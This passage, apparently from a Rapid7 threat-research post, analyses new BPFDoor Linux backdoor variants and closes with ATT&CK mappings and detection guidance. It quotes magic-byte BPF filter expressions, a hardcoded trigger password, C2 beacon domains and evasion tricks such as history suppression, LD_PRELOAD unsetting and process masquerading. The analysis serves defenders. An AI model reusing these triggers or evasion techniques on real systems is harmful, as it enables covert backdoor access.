ensures that no "change mode" event is logged by the kernel's audit system (auditd). Since </span><span style='font-size: undefined;'><span data-type='inlineCode'>/run</span></span><span style='font-size: undefined;'> is rarely mounted with the noexec flag (unlike </span><span style='font-size: undefined;'><span data-type='inlineCode'>/tmp</span></span><span style='font-size: undefined;'>), the malware bypasses the most common local hardening measure.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt28177f5110d54bdb/69ce61e66e737f69aece19ed/BPFDoor-running-var-run-user-0.png" alt="BPFDoor-running-var-run-user-0.png" caption="Figure 8: BPFDoor running from /var/run/user/0" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="BPFDoor-running-var-run-user-0.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt28177f5110d54bdb/69ce61e66e737f69aece19ed/BPFDoor-running-var-run-user-0.png" data-sys-asset-uid="blt28177f5110d54bdb" data-sys-asset-filename="BPFDoor-running-var-run-user-0.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: BPFDoor running from /var/run/user/0" data-sys-asset-alt="BPFDoor-running-var-run-user-0.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8: BPFDoor running from /var/run/user/0</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Most samples simply redirect output to </span><span style='font-size: undefined;'><span data-type='inlineCode'>/dev/null</span></span><span style='font-size: undefined;'>. This variant goes further by performing a total FD (File Descriptor) wipe. Note the recurring timestomping routine following the old known anti-forensics technique.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb478f4435630aec8/69ce7a008e8869081f36a5ff/Timestomping-full-fds-wipe.png" alt="Timestomping-full-fds-wipe.png" caption="Figure 9: Timestomping and full fds wipe" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Timestomping-full-fds-wipe.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb478f4435630aec8/69ce7a008e8869081f36a5ff/Timestomping-full-fds-wipe.png" data-sys-asset-uid="bltb478f4435630aec8" data-sys-asset-filename="Timestomping-full-fds-wipe.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Timestomping and full fds wipe" data-sys-asset-alt="Timestomping-full-fds-wipe.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9: Timestomping and full fds wipe</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>R7 variant ‘F’ exhibits a 26</span><span style='font-size: undefined;'><strong>-</strong></span><span style='font-size: undefined;'>BPF instruction filter featuring new magic bytes. Rapid7 developed a tool to extract BPF bytecode logic and identify variant-specific features. Three samples employed previously unknown magic bytes. Below is the output summarizing the filtering logic (Figure 10: </span><span style='font-size: undefined;'><strong><span data-type='inlineCode'>2cc90edd9bc085f54851bed101f95ce2bace7c9a963380cfd11ea0bc60e71e0c</span></strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong><span data-type='inlineCode'>De472ed37e33b79e1aa37e67a680ee3a9d74628438c209543a06e916a0a86fba</span></strong></span><span style='font-size: undefined;'>;</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>Figure 11</span><span style='font-size: undefined;'><strong>: </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'><strong>757e911edaf45cc135f2498c38d4db8acec39cb6aeb3a1dcc38305ab2d326fa9</strong></span></span><span style='font-size: undefined;'>).</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt545264d4680f5f7a/69ce630f6ec44e3609d53611/Rapid7-variant-F-new-magic-bytes.png" alt="Rapid7-variant-F-new-magic-bytes.png" caption="Figure 10: Rapid7 variant F new magic bytes" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-variant-F-new-magic-bytes.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt545264d4680f5f7a/69ce630f6ec44e3609d53611/Rapid7-variant-F-new-magic-bytes.png" data-sys-asset-uid="blt545264d4680f5f7a" data-sys-asset-filename="Rapid7-variant-F-new-magic-bytes.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Rapid7 variant F new magic bytes" data-sys-asset-alt="Rapid7-variant-F-new-magic-bytes.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 10: Rapid7 variant F new magic bytes</figcaption></div></figure><p>⠀</p><p style="text-align: justify;direction: ltr;"><span style='font-size: undefined;'>The BPF filtering can be expressed using libcap syntax:</span></p><p style="direction: ltr;"><span style='color:rgb(197, 34, 31);font-size: undefined;'></span></p><pre language="json">udp[8:2] == 0x3182 or (icmp[8:2] == 0x1051 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)&gt;&gt;2):2] == 0x3321</pre><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f598a4302a068f3/69ce63a922934a6e7744a7b9/R7-variant-F-new-magic-bytes.png" alt="R7-variant-F-new-magic-bytes.png" caption="Figure 11: Rapid7 variant F new magic bytes" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="R7-variant-F-new-magic-bytes.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9f598a4302a068f3/69ce63a922934a6e7744a7b9/R7-variant-F-new-magic-bytes.png" data-sys-asset-uid="blt9f598a4302a068f3" data-sys-asset-filename="R7-variant-F-new-magic-bytes.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 11: Rapid7 variant F new magic bytes" data-sys-asset-alt="R7-variant-F-new-magic-bytes.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 11: Rapid7 variant F new magic bytes</figcaption></div></figure><p>⠀</p><pre language="json">udp[8:2] == 0x2048 or (icmp[8:2] == 0x1155 and icmp[icmptype] == icmp-echo) or tcp[((tcp[12]&0xf0)&gt;&gt;2):2] == 0x5433</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Earlier versions used </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_RAW</span></span><span style='font-size: undefined;'> when creating the </span><span style='font-size: undefined;'><span data-type='inlineCode'>AF_PACKET</span></span><span style='font-size: undefined;'> socket. When using </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_RAW</span></span><span style='font-size: undefined;'>, the kernel delivers the entire packet, including the link-layer header, while with </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_DGRAM</span></span><span style='font-size: undefined;'> the Ethernet header is discarded. This change directly impacts the way packets are parsed.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Multi-protocol parallel sniffing</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>One new variant sample, which we named </span><span style='font-size: undefined;'><strong>variant ‘G’</strong></span><span style='font-size: undefined;'>, utilizes a multi-threaded architecture to ensure triple-redundant capture of "wake-up" packets. The malware spawns three independent threads, each responsible for monitoring a specific transport protocol at the raw IP layer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This is achieved by invoking the </span><span style='font-size: undefined;'><span data-type='inlineCode'>socket()</span></span><span style='font-size: undefined;'> system call with protocol-specific parameters for TCP, UDP, and ICMP:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>TCP:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>socket(AF_INET, SOCK_RAW, IPPROTO_TCP)</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>UDP:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>socket(AF_INET, SOCK_RAW, IPPROTO_UDP)</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>ICMP:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><span data-type='inlineCode'>socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)</span></span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>The implant achieves simultaneous trigger detection across three protocols by deploying identical BPF filters on protocol-specific raw sockets. This functionality is implemented using three separate threads for protocol capture. This design is crucial: By dedicating a thread to each protocol, the malware prevents high-volume traffic in one protocol from overloading the sniffer and causing it to miss a "magic" trigger arriving via a less-trafficked protocol.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Beyond preventing packet loss, this parallel architecture provides C2 resiliency via built-in fallback channels. Because the BPF filters concurrently sniff TCP, UDP, and ICMP, the threat actor becomes highly resilient to sudden perimeter security changes. If a network defender updates an egress firewall to aggressively block anomalous ICMP or UDP traffic, the attacker can seamlessly switch to sending magic triggers over TCP.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Some samples (Figure 12: </span><span style='font-size: undefined;'><strong><span data-type='inlineCode'>ed768dd922742a597257ad684820d7562bb6be215710ec614bd041a22f3d6863</span></strong></span><span style='font-size: undefined;'>) exhibit the usage of threads and a new mutex/process name being spoofed like “hpasmlited”:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta42dd668f978b8fa/69ce7a6005b5be21b201259e/hpasmlited-process-name-spoofing.png" alt="hpasmlited-process-name-spoofing.png" caption="Figure 12: hpasmlited process name spoofing" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="hpasmlited-process-name-spoofing.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta42dd668f978b8fa/69ce7a6005b5be21b201259e/hpasmlited-process-name-spoofing.png" data-sys-asset-uid="blta42dd668f978b8fa" data-sys-asset-filename="hpasmlited-process-name-spoofing.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: hpasmlited process name spoofing" data-sys-asset-alt="hpasmlited-process-name-spoofing.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 12: hpasmlited process name spoofing</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Then</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'><span data-type='inlineCode'>start_routine, sub_4089BB, sub_4084F7</span></span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>proceeds with the old codebase installing the same BPF filter shared among TM variant D samples; this variant supports ICMP relay.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Below is shown the creation of three different kinds of sockets filtering traffic by TCP, UDP, and ICMP:</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt62eecb0870fc9b69/69ce65cf11fa1e2676b55cff/Creating-sockets-handling-TCP-UDP-ICMP.png" alt="Creating-sockets-handling-TCP-UDP-ICMP.png" caption="Figure 13: Creation of 3 sockets handling TCP, UDP, and ICMP" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Creating-sockets-handling-TCP-UDP-ICMP.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt62eecb0870fc9b69/69ce65cf11fa1e2676b55cff/Creating-sockets-handling-TCP-UDP-ICMP.png" data-sys-asset-uid="blt62eecb0870fc9b69" data-sys-asset-filename="Creating-sockets-handling-TCP-UDP-ICMP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Creation of 3 sockets handling TCP, UDP, and ICMP" data-sys-asset-alt="Creating-sockets-handling-TCP-UDP-ICMP.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 13: Creation of 3 sockets handling TCP, UDP, and ICMP</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that </span><span style='font-size: undefined;'><strong>a0t</strong></span><span style='font-size: undefined;'> is an array containing three BPF filters, each of them containing the same</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>229</span><span style='font-size: undefined;'><strong> </strong></span><span style='font-size: undefined;'>instructions found in TM variant D. </span></p><h3 style="text-align: justify;direction: ltr;"><span style='color:rgb(67, 67, 67);'>HPE ProLiant-tuned variant: Living off the land</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>One variant  (Figure 14: </span><span data-type='inlineCode'><strong>9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82</strong></span><span style='font-size: undefined;'>)</span><span style='font-size: undefined;'><em><strong> </strong></em></span><span style='font-size: undefined;'>was specifically tailored for HPE ProLiant servers, demonstrating a "living off the land" approach through binary masquerading.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4b9e8eb6d512bc3/69ce665d99d6c57c497e4b13/HPE-Insight-Management-Agents-spoofing.png" alt="HPE-Insight-Management-Agents-spoofing.png" caption="Figure 14: HPE Insight Management Agents spoofing" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="HPE-Insight-Management-Agents-spoofing.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4b9e8eb6d512bc3/69ce665d99d6c57c497e4b13/HPE-Insight-Management-Agents-spoofing.png" data-sys-asset-uid="bltc4b9e8eb6d512bc3" data-sys-asset-filename="HPE-Insight-Management-Agents-spoofing.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 14: HPE Insight Management Agents spoofing" data-sys-asset-alt="HPE-Insight-Management-Agents-spoofing.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 14: HPE Insight Management Agents spoofing</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The process name is set to cmathreshd, with realistic flags like -p 5 -s OK, directly impersonating the HPE Insight Management Agents. The malware checks for /var/run/cma.lock. If found, it kills the legitimate HP agent and takes its place. This displacement prevents resource conflicts that would otherwise alert system administrators. The call to </span><span style='font-size: undefined;'><span data-type='inlineCode'>unsetenv("LD_PRELOAD")</span></span><span style='font-size: undefined;'> is designed to disable user-mode security hooks (such as local EDRs or rootkit hunters) that monitor system calls.</span><br/><span style='font-size: undefined;'>This specific masquerading tactic demonstrates deep environmental awareness. The threat actors recognize they are operating on physical, bare-metal HPE hardware commonly deployed in 4G and 5G core and edge systems (such as Ericsson-style architectures). </span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The active beacon: Guaranteed persistence</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 variant ‘H’ contrasts with the classic, stealthy BPFDoor sniffer (which generates no outbound traffic). The beacon is proactive and provides guaranteed access by bypassing stateful firewalls that only permit outbound connections. It achieves this via a continuous heartbeat mechanism that resolves dynamic DNS domains, such as ntpussl.instanthq.com and ntpupdate.ddnsgeek.com. By masquerading as Network Time Protocol (NTP) over SSL, the threat actors seamlessly encapsulate their encrypted C2 sessions within what appears to be routine time synchronization or IoT telemetry. This 'hide in plain sight' tactic allows the active beacon to blend into the baseline network noise and establish a direct, unauthenticated connection on port 443 using the old-fashioned statically linked OpenSSL library and RC4-MD5 </span><span style='font-size: undefined;'>ciphersuite.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Heartbeat mechanism:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>The function actively attempts to resolve the hardcoded C2 domain ntpussl.instanthq.com using the </span><span style='font-size: undefined;'><span data-type='inlineCode'>gethostbyname()</span></span><span style='font-size: undefined;'> function. It runs in an infinite loop, attempting to connect if the domain resolves. If the connection fails, it sleeps for a random interval (1 to 2.5 minutes) before trying again — this acts as the Heartbeat.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Masquerading:</strong></span><span style='font-size: undefined;'> The domain ntpussl.instanthq.com mimics NTP (Network Time Protocol) over SSL, blending into standard time-sync or certificate update traffic.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Activation kill switch:</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'>A "Kill Switch" or "Activation" check verifies the IP returned by the DNS query: </span><span style='font-size: undefined;'><span data-type='inlineCode'>if ( !strstr(v1, "127.0.0.1") )</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Direct connection:</strong></span><span style='font-size: undefined;'> The malware connects to the resolved IP on port 443 (0x1BB) without requiring authentication.</span></p></li></ul><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt41183d8d1dfe5d12/69ce66d278b2b12b1876db8f/Rapid7-variant-H-active-beaconing.png" alt="Rapid7-variant-H-active-beaconing.png" caption="Figure 15: Rapid7 variant H active beaconing (sample spoofing the HPEProliant cmathreshd)" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Rapid7-variant-H-active-beaconing.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt41183d8d1dfe5d12/69ce66d278b2b12b1876db8f/Rapid7-variant-H-active-beaconing.png" data-sys-asset-uid="blt41183d8d1dfe5d12" data-sys-asset-filename="Rapid7-variant-H-active-beaconing.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 15: Rapid7 variant H active beaconing (sample spoofing the HPEProliant cmathreshd)" data-sys-asset-alt="Rapid7-variant-H-active-beaconing.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 15: Rapid7 variant H active beaconing (sample spoofing the HPEProliant cmathreshd)</figcaption></div></figure><p>⠀</p><p style="text-align: justify;direction: ltr;"><span style='font-size: undefined;'>Stack strings were employed to bypass basic static signature detection:</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt11efc08c9532e76e/69ce7b298eac30c5b4a8abba/Screenshot_2026-04-02_at_9.35.09_AM.png" alt="Screenshot_2026-04-02_at_9.35.09_AM.png" caption="Figure 16: ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Screenshot_2026-04-02_at_9.35.09_AM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt11efc08c9532e76e/69ce7b298eac30c5b4a8abba/Screenshot_2026-04-02_at_9.35.09_AM.png" data-sys-asset-uid="blt11efc08c9532e76e" data-sys-asset-filename="Screenshot_2026-04-02_at_9.35.09_AM.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 16: ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4" data-sys-asset-alt="Screenshot_2026-04-02_at_9.35.09_AM.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 16: ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>By encapsulating encrypted shell sessions within what appears to be routine time synchronization or IoT telemetry, the threat actors effectively bypass standard firewall rules. Below is the list of domains observed being used by Chinese TAs during espionage campaigns:</span></p><h4>"Encrypted" Masquerade</h4><ul><li><p><strong>Domain:</strong> ntpussl[.]instanthq.com</p></li><li><p><strong>Function & analysis: </strong>Encrypted Shell/Tunneling. "ntpussl" recalls an ssl connection with an NTP server. (<span data-type='inlineCode'><strong>195b98211d1ce968669a0740ca08d0ddcf03a2df03a47e2e70550f6c002b49e8</strong></span>; <span data-type='inlineCode'><strong>9ee77ed38e5bc69f841bdaba7c5e6c3bf30fd9ae94cd2e69f39834e9cec76e82</strong></span>).</p></li></ul><h4>"System Update" Disguise</h4><ul><li><strong>Domain: </strong>ntpupdate.ddnsgeek[.]com</li><li><strong>Function & analysis: </strong>Standard Utility Mimicry. This domain mimics the common ntpdate utility. The use of terms like "geek" or "update" is a social engineering tactic, as security analysts often overlook such domains, assuming they belong to benign OS background processes (<span data-type='inlineCode'><strong>ca56622773c1b6f648b1578978b57aa668df25a11e0c782be008384a6af6c2c4</strong></span>).</li></ul><h4>"Persistence" Disguise</h4><ul><li><strong>Domain: </strong>ntpupdate.ygto[.]com</li><li><strong>Function & analysis: </strong>Rapid IP Rotation. This domain is employed for dynamic DNS updates, enabling rapid IP rotation. If the primary C2 IP address is blocked, the attackers update the DDNS record at ygto.com to maintain command-and-control access.</li></ul><h4>"IoT/Camera" Disguise</h4><ul><li><strong>Domain: </strong>ntpd.casacam[.]net</li><li><strong>Function & analysis: </strong>Blending with residential traffic. Masquerades as a time check service for IP cameras. Since casacam.net is a legitimate DDNS provider for DVRs, traffic to this domain easily blends into the millions of devices monitored by telecom networks, especially in residential broadband environments.</li></ul><p style="text-align: center;direction: ltr;"><span style='font-size: undefined;'><em>Note: The domains ntpupdate.ygto[.]com and ntpd.casacam[.]net are involved in generic trojan/spam campaigns.</em></span></p><h3><span style='color:rgb(67, 67, 67);'>Rapid7 variants I,J,K and L</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 </span><span style='font-size: undefined;'><strong>variant “I”</strong></span><span style='font-size: undefined;'> uses an 11-instruction BPF filter targeting TCP port 9999, enforcing a two-step handshake, requiring firstly new magic bytes (</span><span style='font-size: undefined;'><span data-type='inlineCode'>0xA9F205C3</span></span><span style='font-size: undefined;'>) in the tcp payload, secondly the presence of a hardcoded magic password (</span><span style='font-size: undefined;'><span data-type='inlineCode'>dP7sRa3XwLm29E</span></span><span style='font-size: undefined;'>). Finally, it extracts the attacker’s IP and port to spawn an unencrypted reverse shell.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 assigned icmpShell and httpShell variants the letters </span><span style='font-size: undefined;'><strong>J,K</strong></span><span style='font-size: undefined;'> respectively while the letter </span><span style='font-size: undefined;'><strong>L</strong></span><span style='font-size: undefined;'> is reserved for samples exhibiting only the ICMP relay feature. To summarize:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Variant J</strong></span><span style='font-size: undefined;'>: ICMP relay + HTTP tunneling + icmpShell</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Variant K</strong></span><span style='font-size: undefined;'>: ICMP relay + HTTP tunneling</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Variant L</strong></span><span style='font-size: undefined;'>: ICMP relay</span></p></li></ul><h2 style="direction: ltr;">MITRE ATT&CK Matrix Mapping</h2><h3>Tactic: Execution</h3><h4>T1059.004: Unix Shell</h4><ul><li><strong>Implementation details:</strong> Hijacks a pseudo-terminal (PTY) utilizing <span data-type='inlineCode'>fork()</span> and <span data-type='inlineCode'>dup2()</span>.</li><li><strong>Variation:</strong> Both</li></ul><h3>Tactic: Defense Evasion</h3><h4>T1036.004: Masquerading</h4><ul><li><strong>Implementation details:</strong> Alters process arguments to mimic benign daemons like qmgr.</li><li><strong>Variation:</strong> Both</li></ul><h4>T1070.003: Clear History</h4><ul><li><strong>Implementation details:</strong> Injects <span data-type='inlineCode'>HISTFILE=/dev/null</span> into environment variables.</li><li><strong>Variation: </strong>Both</li></ul><h4>T1027: Obfuscated Files Information</h4><ul><li><strong>Implementation details:</strong> Stack strings for passwords and paths prevent static extraction.</li><li><strong>Variation: </strong>Both</li></ul><h4>T1564: Hide Artifacts</h4><ul><li><strong>Implementation details:</strong> Uses <span data-type='inlineCode'>AF_PACKET</span> sniffing to remain invisible to local netstat/ss.</li><li><strong>Variation:</strong> Both</li></ul><h3>Tactic: Persistence</h3><h4>T1205: Traffic Signaling</h4><ul><li><strong>Implementation details:</strong> Employs magic bytes and flags like <span data-type='inlineCode'>0xFFFFFFFF</span> as wake-up triggers.</li><li><strong>Variation: </strong>Both</li></ul><h3>Tactic: Command & Control</h3><h4>T1573.001: Symmetric Cryptography</h4><ul><li><strong>Implementation details:</strong> e.g. Enforces the X: plaintext tag and encrypts the underlying PTY output via an RC4 cipher (using the hardcoded ICMP key).</li><li><strong>Variation:</strong> Both</li></ul><h4>T1071.001: Application Layer Protocol</h4><ul><li><strong>Implementation details:</strong> Blends in by utilizing formatted HTTP POST requests with hardcoded URIs up to 100-byte hexadecimal bodies.</li><li><strong>Variation:</strong> httpShell</li></ul><h4>T1095: Non-App Protocol</h4><ul><li><strong>Implementation details:</strong> Transmits exfiltration via crafted ICMP Echo Requests.</li><li><strong>Variation:</strong> Both</li></ul><h4>T1090: Proxy</h4><ul><li><strong>Implementation details:</strong> Uses ICMP relay to bounce traffic through internal segments.</li><li><strong>Variation:</strong> Both</li></ul><h4>T1001: Data Obfuscation</h4><ul><li><strong>Implementation details:</strong> icmpShell hides its tracking mechanisms directly inside the network layer headers. By truncating the Linux Process ID (PID) and injecting it into the 16-bit ICMP Identifier field, and hardcoding the ICMP Sequence Number to 1234, it obfuscates its session tracking data as standard network metadata.</li><li><strong>Variation:</strong> icmpShell</li></ul><h4>T1572: Protocol Tunneling</h4><ul><li><strong>Implementation details:</strong> ICMP tunneling</li><li><strong>Variation:</strong> icmpShell</li></ul><h4>T1090: Proxy</h4><ul><li><strong>Implementation details:</strong> The BPF filter concurrently sniffs TCP, UDP, and ICMP. If one protocol is blocked by egress filtering, the attacker can seamlessly utilize an alternate protocol to trigger the shell without reconfiguring the implant.</li><li><strong>Variation:</strong> Both</li></ul><h2 style="direction: ltr;">Defensive depth and detection guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Detection must shift from looking for payload content to identifying structural anomalies and static protocol markers.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Suricata/NIDS focus</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> Target the hardcoded 1234 sequence number used in custom functions and the technically invalid ICMP Code 1 injected by the heartbeat thread.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Host monitoring</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> Monitor for processes whose executable path does not exist on disk and spoofed processes running as root (e.g., zabbix_agentd, dockerd).</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Auditd rules</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>Monitor the creation of </span><span style='font-size: undefined;'><span data-type='inlineCode'>AF_PACKET</span></span><span style='font-size: undefined;'> sockets (capturing </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_RAW</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_DGRAM</span></span><span style='font-size: undefined;'>) and the setsockopt call used to attach BPF filters.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Rapid7 triage script</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>Utilize the </span><span style='font-size: undefined;'><span data-type='inlineCode'>rapid7_bpfdoor_check.sh</span></span><span style='font-size: undefined;'> script to check for zero-byte mutex files and active BPF filters attached to packet sockets. Get the complete checklist at </span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/BPFDoor" target="_blank"><span style='font-size: undefined;'>Rapid7’s github.</span></a></p></li></ul><h2 style="direction: ltr;">Final takeaways</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Kernel-level evasion</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> The shift to </span><span style='font-size: undefined;'><span data-type='inlineCode'>SOCK_DGRAM</span></span><span style='font-size: undefined;'> allows the malware to simplify magic packet parsing by letting the host kernel decapsulate tunnels.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Layer 7</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><strong>camouflage</strong></span><span style='font-size: undefined;'>:</span><span style='font-size: undefined;'> Weaponized SSL termination and "magic ruler" padding ensure trigger bytes survive WAF/Proxy interference.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Deep</strong></span><span style='font-size: undefined;'>-</span><span style='font-size: undefined;'><strong>network</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><strong>lateral</strong></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><strong>movement</strong></span><span style='font-size: undefined;'>: </span><span style='font-size: undefined;'>The "Hidden IP" field transforms infected machines into invisible network routers for bidirectional ICMP PTY tunnels.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>New Variants</strong></span><span style='font-size: undefined;'>: the newly identified features in BPFDoor samples highlight how TAs are tailoring and reusing BPFDoor’s code to the target environment. The rapid7 variant H (active beacon) stands out as it tries to blend in with the network traffic contacting fake NTP update servers.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Operational security</strong></span><span style='color:rgb(2, 3, 3);font-size: undefined;'><strong>:</strong></span><span style='font-size: undefined;'> The malware can instruct the infected node to spawn a shell to the source of the magic packet using the signed -1, without embedding the C2 or proxy IP in the packet 